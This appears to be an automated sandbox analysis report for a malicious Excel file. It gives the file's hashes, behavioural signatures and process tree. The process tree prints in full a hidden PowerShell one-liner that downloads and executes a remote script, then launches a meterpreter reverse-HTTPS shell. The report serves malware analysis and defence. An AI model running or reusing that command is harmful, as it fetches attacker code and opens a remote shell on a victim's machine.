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Analysis
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max time kernel
24s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
08/07/2024, 21:12
Behavioral task
behavioral1
Sample
000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67.xls
Resource
win10v2004-20240708-en
General
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Target
000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67.xls
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Size
35KB
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MD5
7f3f985ec7c2739f6670083deda3c625
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SHA1
ea48dc066138d62012b862874b50d37f64281d3c
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SHA256
000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67
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SHA512
ad033808ce820074814ebe8f8ab4b7880fe2f027e7668bebaa4c2729f79a8374653f37db4a8735660eab5238acb1a6595a919e1abcb137add63fbf951452eb7b
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SSDEEP
768:ctvo+uzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJYrm2Ucd93:Myk3hbdlylKsgqopeJBWhZFGkE+cL2N1
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2860 2732 powershell.exe 30 Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2872 2556 wscript.exe 29 -
Blocklisted process makes network request 4 IoCs
flow pid Process 6 2860 powershell.exe 7 2860 powershell.exe 8 2696 powershell.exe 9 2696 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2696 powershell.exe 2860 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
flow ioc 9 raw.githubusercontent.com 5 raw.githubusercontent.com 6 raw.githubusercontent.com 7 raw.githubusercontent.com 8 raw.githubusercontent.com -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2556 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2860 powershell.exe 2696 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2860 powershell.exe Token: SeDebugPrivilege 2696 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2556 EXCEL.EXE 2556 EXCEL.EXE 2556 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2556 wrote to memory of 2872 2556 EXCEL.EXE 33 PID 2556 wrote to memory of 2872 2556 EXCEL.EXE 33 PID 2556 wrote to memory of 2872 2556 EXCEL.EXE 33 PID 2556 wrote to memory of 2872 2556 EXCEL.EXE 33 PID 2872 wrote to memory of 2696 2872 wscript.exe 34 PID 2872 wrote to memory of 2696 2872 wscript.exe 34 PID 2872 wrote to memory of 2696 2872 wscript.exe 34 PID 2872 wrote to memory of 2696 2872 wscript.exe 34
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67.xls1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2556 -
C:\Windows\SysWOW64\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2696
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2860
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M3VG4JWIUIKTE56V5376.temp
Filesize7KB
MD5401f4b03a57e5a9fa729461c031e1e64
SHA1f70d893007162bcf2d2ff585e1231c51bc59a585
SHA256dc758d05de123945a2b5b07cde8d3ef86d418720c0326667b86e16f2343f7e20
SHA512a088c6b7d5bf5c7b13edf621c8b3da4e7a63f49d8d5c99768ccdd963bdc23eb57d1098fd7ee1a00cbe4cc469e1801d2090a509763e298ae496a1398aaed351f1
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Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78